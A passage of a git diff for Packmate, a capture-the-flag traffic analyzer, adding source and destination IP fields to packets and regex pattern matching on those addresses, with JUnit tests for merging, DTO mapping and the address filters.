ru.serega6531.packmate.model.enums.PatternSearchTarget; import jakarta.persistence.*; import java.util.Objects; @@ -38,6 +39,13 @@ public class FoundPattern { private int patternId; + @Enumerated(EnumType.STRING) + private PatternSearchTarget searchTarget; + + public PatternSearchTarget getSearchTarget() { + return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget; + } + private int startPosition; private int endPosition; diff --git a/src/main/java/ru/serega6531/packmate/model/Packet.java b/src/main/java/ru/serega6531/packmate/model/Packet.java index 453d605..80964f7 100644 --- a/src/main/java/ru/serega6531/packmate/model/Packet.java +++ b/src/main/java/ru/serega6531/packmate/model/Packet.java @@ -47,6 +47,10 @@ public class Packet { private long timestamp; + private String sourceIp; + + private String destinationIp; + private boolean incoming; // true если от клиента к серверу, иначе false private boolean httpProcessed = false; diff --git a/src/main/java/ru/serega6531/packmate/model/Pattern.java b/src/main/java/ru/serega6531/packmate/model/Pattern.java index 9352a3d..514f32c 100644 --- a/src/main/java/ru/serega6531/packmate/model/Pattern.java +++ b/src/main/java/ru/serega6531/packmate/model/Pattern.java @@ -3,6 +3,7 @@ package ru.serega6531.packmate.model; import jakarta.persistence.Column; import jakarta.persistence.Entity; import jakarta.persistence.Enumerated; +import jakarta.persistence.EnumType; import jakarta.persistence.GeneratedValue; import jakarta.persistence.Id; import lombok.Getter; @@ -15,6 +16,7 @@ import org.hibernate.annotations.Parameter; import ru.serega6531.packmate.model.enums.PatternActionType; import ru.serega6531.packmate.model.enums.PatternDirectionType; import ru.serega6531.packmate.model.enums.PatternSearchType; +import ru.serega6531.packmate.model.enums.PatternSearchTarget; import java.util.Objects; @@ -57,6 +59,13 @@ public class Pattern { @Column(nullable = false) private PatternSearchType searchType; + @Enumerated(EnumType.STRING) + private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT; + + public PatternSearchTarget getSearchTarget() { + return searchTarget == null ? PatternSearchTarget.CONTENT : searchTarget; + } + @Enumerated @Column(nullable = false) private PatternDirectionType directionType; diff --git a/src/main/java/ru/serega6531/packmate/model/enums/PatternSearchTarget.java b/src/main/java/ru/serega6531/packmate/model/enums/PatternSearchTarget.java new file mode 100644 index 0000000..02dd483 --- /dev/null +++ b/src/main/java/ru/serega6531/packmate/model/enums/PatternSearchTarget.java @@ -0,0 +1,5 @@ +package ru.serega6531.packmate.model.enums; + +public enum PatternSearchTarget { + CONTENT, SOURCE_IP, DESTINATION_IP, EITHER_IP +} diff --git a/src/main/java/ru/serega6531/packmate/model/pojo/FoundPatternDto.java b/src/main/java/ru/serega6531/packmate/model/pojo/FoundPatternDto.java index 51ac15a..5d3785d 100644 --- a/src/main/java/ru/serega6531/packmate/model/pojo/FoundPatternDto.java +++ b/src/main/java/ru/serega6531/packmate/model/pojo/FoundPatternDto.java @@ -1,11 +1,13 @@ package ru.serega6531.packmate.model.pojo; import lombok.Data; +import ru.serega6531.packmate.model.enums.PatternSearchTarget; @Data public class FoundPatternDto { private int patternId; + private PatternSearchTarget searchTarget; private int startPosition; private int endPosition; diff --git a/src/main/java/ru/serega6531/packmate/model/pojo/PacketDto.java b/src/main/java/ru/serega6531/packmate/model/pojo/PacketDto.java index 3e6d697..24173fa 100644 --- a/src/main/java/ru/serega6531/packmate/model/pojo/PacketDto.java +++ b/src/main/java/ru/serega6531/packmate/model/pojo/PacketDto.java @@ -10,6 +10,8 @@ public class PacketDto { private Long id; private Set matches; private long timestamp; + private String sourceIp; + private String destinationIp; private boolean incoming; private boolean ungzipped; private boolean webSocketParsed; diff --git a/src/main/java/ru/serega6531/packmate/model/pojo/PatternCreateDto.java b/src/main/java/ru/serega6531/packmate/model/pojo/PatternCreateDto.java index 8c39fef..7005414 100644 --- a/src/main/java/ru/serega6531/packmate/model/pojo/PatternCreateDto.java +++ b/src/main/java/ru/serega6531/packmate/model/pojo/PatternCreateDto.java @@ -4,6 +4,7 @@ import lombok.Data; import ru.serega6531.packmate.model.enums.PatternActionType; import ru.serega6531.packmate.model.enums.PatternDirectionType; import ru.serega6531.packmate.model.enums.PatternSearchType; +import ru.serega6531.packmate.model.enums.PatternSearchTarget; @Data public class PatternCreateDto { @@ -12,6 +13,7 @@ public class PatternCreateDto { private String value; private String color; private PatternSearchType searchType; + private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT; private PatternDirectionType directionType; private PatternActionType actionType; private Integer serviceId; diff --git a/src/main/java/ru/serega6531/packmate/model/pojo/PatternDto.java b/src/main/java/ru/serega6531/packmate/model/pojo/PatternDto.java index c2c514f..8f3e087 100644 --- a/src/main/java/ru/serega6531/packmate/model/pojo/PatternDto.java +++ b/src/main/java/ru/serega6531/packmate/model/pojo/PatternDto.java @@ -4,6 +4,7 @@ import lombok.Data; import ru.serega6531.packmate.model.enums.PatternActionType; import ru.serega6531.packmate.model.enums.PatternDirectionType; import ru.serega6531.packmate.model.enums.PatternSearchType; +import ru.serega6531.packmate.model.enums.PatternSearchTarget; @Data public class PatternDto { @@ -15,6 +16,7 @@ public class PatternDto { private String value; private String color; private PatternSearchType searchType; + private PatternSearchTarget searchTarget; private PatternDirectionType directionType; private PatternActionType actionType; private Integer serviceId; diff --git a/src/main/java/ru/serega6531/packmate/pcap/AbstractPcapWorker.java b/src/main/java/ru/serega6531/packmate/pcap/AbstractPcapWorker.java index 08832ab..ff872dd 100644 --- a/src/main/java/ru/serega6531/packmate/pcap/AbstractPcapWorker.java +++ b/src/main/java/ru/serega6531/packmate/pcap/AbstractPcapWorker.java @@ -165,6 +165,8 @@ public abstract class AbstractPcapWorker implements PcapWorker, PacketListener { .tempId(packetIdCounter++) .ttl(ttl) .timestamp(time) + .sourceIp(sourceIp.getHostAddress()) + .destinationIp(destIp.getHostAddress()) .incoming(incoming) .content(content) .build(); diff --git a/src/main/java/ru/serega6531/packmate/service/PatternMatcher.java b/src/main/java/ru/serega6531/packmate/service/PatternMatcher.java index a5ed96b..b5cb9e1 100644 --- a/src/main/java/ru/serega6531/packmate/service/PatternMatcher.java +++ b/src/main/java/ru/serega6531/packmate/service/PatternMatcher.java @@ -4,6 +4,9 @@ import lombok.SneakyThrows; import org.springframework.security.crypto.codec.Hex; import ru.serega6531.packmate.model.FoundPattern; import ru.serega6531.packmate.model.Pattern; +import ru.serega6531.packmate.model.Packet; +import ru.serega6531.packmate.model.enums.PatternSearchTarget; +import ru.serega6531.packmate.model.enums.PatternSearchType; import ru.serega6531.packmate.utils.KMPByteSearcher; import ru.serega6531.packmate.utils.KMPStringSearcher; @@ -22,13 +25,25 @@ public class PatternMatcher { private final byte[] contentBytes; private final String content; private final List patterns; + private final String sourceIp; + private final String destinationIp; private final Set result = new HashSet<>(); public PatternMatcher(byte[] contentBytes, List patterns) { + this(contentBytes, null, null, patterns); + } + + public PatternMatcher(Packet packet, List patterns) { + this(packet.getContent(), packet.getSourceIp(), packet.getDestinationIp(), patterns); + } + + private PatternMatcher(byte[] contentBytes, String sourceIp, String destinationIp, List patterns) { this.contentBytes = contentBytes; this.content = new String(contentBytes); this.patterns = patterns; + this.sourceIp = sourceIp; + this.destinationIp = destinationIp; } public Set findMatches() { @@ -37,6 +52,10 @@ public class PatternMatcher { } private void match(Pattern pattern) { + if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT) { + matchIpAddresses(pattern); + return; + } switch (pattern.getSearchType()) { case REGEX -> matchRegex(pattern); case SUBSTRING -> matchSubstring(pattern); @@ -44,6 +63,34 @@ public class PatternMatcher { } } + private void matchIpAddresses(Pattern pattern) { + requireIpRegex(pattern); + if (pattern.getSearchTarget() != PatternSearchTarget.DESTINATION_IP) { + matchIp(pattern, sourceIp, PatternSearchTarget.SOURCE_IP); + } + if (pattern.getSearchTarget() != PatternSearchTarget.SOURCE_IP) { + matchIp(pattern, destinationIp, PatternSearchTarget.DESTINATION_IP); + } + } + + private void matchIp(Pattern pattern, String address, PatternSearchTarget target) { + if (address != null && !address.isEmpty() && compileRegex(pattern).matcher(address).find()) { + // An address match marks the endpoint, never a range in the payload. + result.add(FoundPattern.builder() + .patternId(pattern.getId()) + .searchTarget(target) + .startPosition(0) + .endPosition(address.length() - 1) + .build()); + } + } + + private static void requireIpRegex(Pattern pattern) { + if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT && pattern.getSearchType() != PatternSearchType.REGEX) { + throw new IllegalArgumentException("IP address patterns must use regular expressions"); + } + } + private void matchRegex(Pattern pattern) { final var regex = compileRegex(pattern); final Matcher matcher = regex.matcher(content); @@ -105,7 +152,7 @@ public class PatternMatcher { } private void addIfPossible(FoundPattern found) { - if (result.stream().noneMatch(match -> + if (result.stream().filter(match -> match.getSearchTarget() == found.getSearchTarget()).noneMatch(match -> between(match.getStartPosition(), match.getEndPosition(), found.getStartPosition()) || between(match.getStartPosition(), match.getEndPosition(), found.getEndPosition()))) { result.add(found); @@ -117,6 +164,7 @@ public class PatternMatcher { } static void compilePattern(Pattern pattern) { + requireIpRegex(pattern); switch (pattern.getSearchType()) { case REGEX -> compileRegex(pattern); case SUBSTRING -> compileStringKMP(pattern); diff --git a/src/main/java/ru/serega6531/packmate/service/PatternService.java b/src/main/java/ru/serega6531/packmate/service/PatternService.java index b6cb012..db41bee 100644 --- a/src/main/java/ru/serega6531/packmate/service/PatternService.java +++ b/src/main/java/ru/serega6531/packmate/service/PatternService.java @@ -10,6 +10,7 @@ import org.springframework.transaction.annotation.Transactional; import ru.serega6531.packmate.model.CtfService; import ru.serega6531.packmate.model.FoundPattern; import ru.serega6531.packmate.model.Pattern; +import ru.serega6531.packmate.model.Packet; import ru.serega6531.packmate.model.enums.PatternActionType; import ru.serega6531.packmate.model.enums.PatternDirectionType; import ru.serega6531.packmate.model.enums.SubscriptionMessageType; @@ -63,18 +64,18 @@ public class PatternService { return patterns.values(); } - public Set findMatches(byte[] bytes, CtfService service, PatternDirectionType directionType, PatternActionType actionType) { + public Set findMatches(Packet packet, CtfService service, PatternDirectionType directionType, PatternActionType actionType) { final List list = patterns.values().stream() .filter(pattern -> pattern.isEnabled() && !pattern.isDeleted()) .filter(p -> p.getServiceId() == null || p.getServiceId().equals(service.getPort())) .filter(p -> p.getActionType() == actionType) .filter(p -> p.getDirectionType() == directionType || p.getDirectionType() == PatternDirectionType.BOTH) .toList(); - return new PatternMatcher(bytes, list).findMatches(); + return new PatternMatcher(packet, list).findMatches(); } - public Set matchOne(byte[] bytes, Pattern pattern) { - return new PatternMatcher(bytes, List.of(pattern)).findMatches(); + public Set matchOne(Packet packet, Pattern pattern) { + return new PatternMatcher(packet, List.of(pattern)).findMatches(); } public void enable(int id, boolean enabled) { diff --git a/src/main/java/ru/serega6531/packmate/service/StreamService.java b/src/main/java/ru/serega6531/packmate/service/StreamService.java index 5f4ad54..7f6d9f6 100644 --- a/src/main/java/ru/serega6531/packmate/service/StreamService.java +++ b/src/main/java/ru/serega6531/packmate/service/StreamService.java @@ -193,7 +193,7 @@ public class StreamService { for (Packet packet : packets) { PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT; - final Set matches = patternService.findMatches(packet.getContent(), service, + final Set matches = patternService.findMatches(packet, service, direction, PatternActionType.FIND); packet.setMatches(matches); @@ -218,7 +218,7 @@ public class StreamService { continue; } - final Set matches = patternService.matchOne(packet.getContent(), pattern); + final Set matches = patternService.matchOne(packet, pattern); if (!matches.isEmpty()) { packet.getMatches().addAll(matches); @@ -234,7 +234,7 @@ public class StreamService { private boolean isStreamIgnored(List packets, CtfService service) { for (Packet packet : packets) { PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT; - final Set matches = patternService.findMatches(packet.getContent(), service, + final Set matches = patternService.findMatches(packet, service, direction, PatternActionType.IGNORE); if (!matches.isEmpty()) { return true; diff --git a/src/main/java/ru/serega6531/packmate/service/optimization/PacketsMerger.java b/src/main/java/ru/serega6531/packmate/service/optimization/PacketsMerger.java index a66a17e..c205e13 100644 --- a/src/main/java/ru/serega6531/packmate/service/optimization/PacketsMerger.java +++ b/src/main/java/ru/serega6531/packmate/service/optimization/PacketsMerger.java @@ -47,11 +47,15 @@ public class PacketsMerger { final boolean webSocketParsed = cut.stream().anyMatch(Packet::isWebSocketParsed); final boolean tlsDecrypted = cut.get(0).isTlsDecrypted(); final boolean incoming = cut.get(0).isIncoming(); + final String sourceIp = cut.get(0).getSourceIp(); + final String destinationIp = cut.get(0).getDestinationIp(); final byte[] content = PacketUtils.mergePackets(cut); packets.removeAll(cut); packets.add(start, Packet.builder() .incoming(incoming) + .sourceIp(sourceIp) + .destinationIp(destinationIp) .timestamp(timestamp) .httpProcessed(httpProcessed) .webSocketParsed(webSocketParsed) diff --git a/src/test/java/ru/serega6531/packmate/PacketAddressesTest.java b/src/test/java/ru/serega6531/packmate/PacketAddressesTest.java new file mode 100644 index 0000000..644399a --- /dev/null +++ b/src/test/java/ru/serega6531/packmate/PacketAddressesTest.java @@ -0,0 +1,55 @@ +package ru.serega6531.packmate; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.CsvSource; +import ru.serega6531.packmate.configuration.ApplicationConfiguration; +import ru.serega6531.packmate.model.Packet; +import ru.serega6531.packmate.model.pojo.PacketDto; +import ru.serega6531.packmate.service.optimization.PacketsMerger; + +import java.util.ArrayList; +import java.util.List; + +import static org.junit.jupiter.api.Assertions.*; + +class PacketAddressesTest { + + @ParameterizedTest + @CsvSource({ + "192.0.2.1, 192.0.2.2, true", + "192.0.2.2, 192.0.2.1, false", + "2001:db8::1, 2001:db8::2, true", + "2001:db8::2, 2001:db8::1, false" + }) + void addressesSurviveMergingAndDtoMapping(String source, String destination, boolean incoming) { + Packet first = Packet.builder() + .sourceIp(source) + .destinationIp(destination) + .incoming(incoming) + .content(new byte[] {1}) + .build(); + Packet second = first.toBuilder().content(new byte[] {2}).build(); + List packets = new ArrayList<>(List.of(first, second)); + + new PacketsMerger().mergeAdjacentPackets(packets); + + assertEquals(1, packets.size()); + PacketDto dto = new ApplicationConfiguration().modelMapper().map(packets.get(0), PacketDto.class); + assertEquals(source, dto.getSourceIp()); + assertEquals(destination, dto.getDestinationIp()); + assertEquals(incoming, dto.isIncoming()); + assertArrayEquals(new byte[] {1, 2}, dto.getContent()); + } + + @Test + void legacyPacketsWithoutAddressesStillMap() { + Packet packet = Packet.builder().content(new byte[] {1}).build(); + + PacketDto dto = new ApplicationConfiguration().modelMapper().map(packet, PacketDto.class); + + assertNull(dto.getSourceIp()); + assertNull(dto.getDestinationIp()); + assertArrayEquals(packet.getContent(), dto.getContent()); + } +} diff --git a/src/test/java/ru/serega6531/packmate/service/IpPatternMatcherTest.java b/src/test/java/ru/serega6531/packmate/service/IpPatternMatcherTest.java new file mode 100644 index 0000000..ed52352 --- /dev/null +++ b/src/test/java/ru/serega6531/packmate/service/IpPatternMatcherTest.java @@ -0,0 +1,182 @@ +package ru.serega6531.packmate.service; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.EnumSource; +import ru.serega6531.packmate.configuration.ApplicationConfiguration; +import ru.serega6531.packmate.model.CtfService; +import ru.serega6531.packmate.model.FoundPattern; +import ru.serega6531.packmate.model.Packet; +import ru.serega6531.packmate.model.Pattern; +import ru.serega6531.packmate.model.enums.*; +import ru.serega6531.packmate.model.pojo.FoundPatternDto; +import ru.serega6531.packmate.model.pojo.PatternCreateDto; +import ru.serega6531.packmate.model.pojo.PatternDto; +import ru.serega6531.packmate.repository.PatternRepository; + +import java.lang.reflect.Proxy; +import java.nio.charset.StandardCharsets; +import java.time.Duration; +import java.util.List; +import java.util.Set; +import java.util.regex.PatternSyntaxException; + +import static org.junit.jupiter.api.Assertions.*; + +class IpPatternMatcherTest { + + private Packet packet(String source, String destination, String content) { + return Packet.builder().sourceIp(source).destinationIp(destination) + .content(content.getBytes(StandardCharsets.UTF_8)).build(); + } + + private Pattern pattern(int id, PatternSearchTarget target, String regex) { + Pattern pattern = new Pattern(); + pattern.setId(id); + pattern.setSearchType(PatternSearchType.REGEX); + pattern.setSearchTarget(target); + pattern.setValue(regex); + pattern.setEnabled(true); + pattern.setActionType(PatternActionType.FIND); + pattern.setDirectionType(PatternDirectionType.BOTH); + return pattern; + } + + @Test + void sourceAndDestinationAreMatchedIndependentlyFromPayload() { + Packet packet = packet("10.20.30.4", "192.0.2.8", "192.0.2.99"); + List patterns = List.of( + pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.20\\.30\\.[0-9]+$"), + pattern(2, PatternSearchTarget.DESTINATION_IP, "^192\\.0\\.2\\.8$"), + pattern(3, PatternSearchTarget.SOURCE_IP, "192\\.0\\.2"), + pattern(4, PatternSearchTarget.DESTINATION_IP, "^10\\."), + pattern(5, PatternSearchTarget.EITHER_IP, "192\\.0\\.2\\.99")); + + Set matches = new PatternMatcher(packet, patterns).findMatches(); + + assertEquals(2, matches.size()); + assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 1 && m.getSearchTarget() == PatternSearchTarget.SOURCE_IP)); + assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 2 && m.getSearchTarget() == PatternSearchTarget.DESTINATION_IP)); + } + + @Test + void eitherIpHandlesIpv6AndKeepsMatchesForBothEndpoints() { + Packet packet = packet("2001:db8:0:0:0:0:0:1", "2001:db8:0:0:0:0:0:2", "body"); + Set matches = new PatternMatcher(packet, + List.of(pattern(1, PatternSearchTarget.EITHER_IP, "(?i)^2001:DB8:"))).findMatches(); + + assertEquals(Set.of(PatternSearchTarget.SOURCE_IP, PatternSearchTarget.DESTINATION_IP), + matches.stream().map(FoundPattern::getSearchTarget).collect(java.util.stream.Collectors.toSet())); + } + + @Test + void legacyPacketsWithoutAddressesDoNotMatchEvenWildcard() { + assertTrue(new PatternMatcher(packet(null, null, "10.20.30.4"), + List.of(pattern(1, PatternSearchTarget.EITHER_IP, ".*"))).findMatches().isEmpty()); + } + + @Test + void missingEndpointDoesNotPreventMatchingPresentEndpoint() { + Set matches = new PatternMatcher(packet(null, "192.0.2.8", "body"), + List.of(pattern(1, PatternSearchTarget.EITHER_IP, "^192\\."))).findMatches(); + assertEquals(1, matches.size()); + assertEquals(PatternSearchTarget.DESTINATION_IP, matches.iterator().next().getSearchTarget()); + } + + @Test + void addressAndContentMatchesDoNotSuppressEachOther() { + Packet packet = packet("10.20.30.4", "192.0.2.8", "FLAG"); + Pattern address = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\."); + Pattern content = pattern(2, PatternSearchTarget.CONTENT, "FLAG"); + + for (List order : List.of(List.of(address, content), List.of(content, address))) { + Set matches = new PatternMatcher(packet, order).findMatches(); + assertEquals(2, matches.size()); + assertTrue(matches.stream().anyMatch(m -> m.getSearchTarget() == PatternSearchTarget.CONTENT && m.getEndPosition() == 3)); + } + } + + @Test + void emptyRegexMatchOnIpTerminatesAndMarksAddress() { + assertTimeoutPreemptively(Duration.ofSeconds(1), () -> { + Set matches = new PatternMatcher(packet("10.20.30.4", null, "body"), + List.of(pattern(1, PatternSearchTarget.SOURCE_IP, "^"))).findMatches(); + assertEquals(1, matches.size()); + }); + } + + @ParameterizedTest + @EnumSource(value = PatternSearchType.class, names = {"SUBSTRING", "SUBBYTES"}) + void nonRegexIpPatternsAreRejected(PatternSearchType searchType) { + Pattern pattern = pattern(1, PatternSearchTarget.EITHER_IP, "10"); + pattern.setSearchType(searchType); + assertThrows(IllegalArgumentException.class, () -> PatternMatcher.compilePattern(pattern)); + } + + @Test + void invalidIpRegexIsRejectedBeforeSaving() { + assertThrows(PatternSyntaxException.class, + () -> PatternMatcher.compilePattern(pattern(1, PatternSearchTarget.EITHER_IP, "["))); + } + + @Test + void targetsRoundTripThroughDtosAndLegacyNullMeansContent() { + var mapper = new ApplicationConfiguration().modelMapper(); + var dto = new PatternCreateDto(); + assertEquals(PatternSearchTarget.CONTENT, mapper.map(dto, Pattern.class).getSearchTarget()); + dto.setSearchTarget(PatternSearchTarget.EITHER_IP); + Pattern pattern = mapper.map(dto, Pattern.class); + pattern.setId(1); + assertEquals(PatternSearchTarget.EITHER_IP, mapper.map(pattern, PatternDto.class).getSearchTarget()); + pattern.setSearchTarget(null); + assertEquals(PatternSearchTarget.CONTENT, mapper.map(pattern, PatternDto.class).getSearchTarget()); + FoundPattern found = FoundPattern.builder().searchTarget(PatternSearchTarget.SOURCE_IP).build(); + assertEquals(PatternSearchTarget.SOURCE_IP, mapper.map(found, FoundPatternDto.class).getSearchTarget()); + assertEquals(PatternSearchTarget.CONTENT, mapper.map(FoundPattern.builder().build(), FoundPatternDto.class).getSearchTarget()); + } + + @Test + void existingContentPatternsDoNotStartMatchingAddressMetadata() { + Pattern pattern = pattern(1, null, "10\\.20\\.30\\.4"); + assertTrue(new PatternMatcher(packet("10.20.30.4", "192.0.2.8", "body"), List.of(pattern)).findMatches().isEmpty()); + } + + @Test + void liveFindIgnoreDirectionAndServiceFiltersReceiveAddresses() { + Pattern find = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\."); + find.setServiceId(80); + find.setDirectionType(PatternDirectionType.INPUT); + Pattern ignore = pattern(2, PatternSearchTarget.EITHER_IP, "^192\\."); + ignore.setActionType(PatternActionType.IGNORE); + Pattern disabled = pattern(3, PatternSearchTarget.EITHER_IP, ".*"); + disabled.setEnabled(false); + Pattern deleted = pattern(4, PatternSearchTarget.EITHER_IP, ".*"); + deleted.setDeleted(true); + PatternService service = service(List.of(find, ignore, disabled, deleted)); + CtfService http = new CtfService(); + http.setPort(80); + Packet packet = packet("10.20.30.4", "192.0.2.8", "body"); + + var found = service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND); + assertEquals(1, found.size()); + assertEquals(1, found.iterator().next().getPatternId()); + assertTrue(service.findMatches(packet, http, PatternDirectionType.OUTPUT, PatternActionType.FIND).isEmpty()); + assertEquals(2, service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.IGNORE) + .iterator().next().getPatternId()); + http.setPort(443); + assertTrue(service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND).isEmpty()); + assertEquals(1, service.matchOne(packet, find).size()); + } + + private PatternService service(List patterns) { + PatternRepository repository = (PatternRepository) Proxy.newProxyInstance( + PatternRepository.class.getClassLoader(), new Class[] {PatternRepository.class}, + (proxy, method, args) -> { + if (method.getName().equals("findAll")) return patterns; + throw new UnsupportedOperationException(method.getName()); + }); + PatternService service = new PatternService(repository, null, null, new ApplicationConfiguration().modelMapper()); + service.init(); + return service; + } +}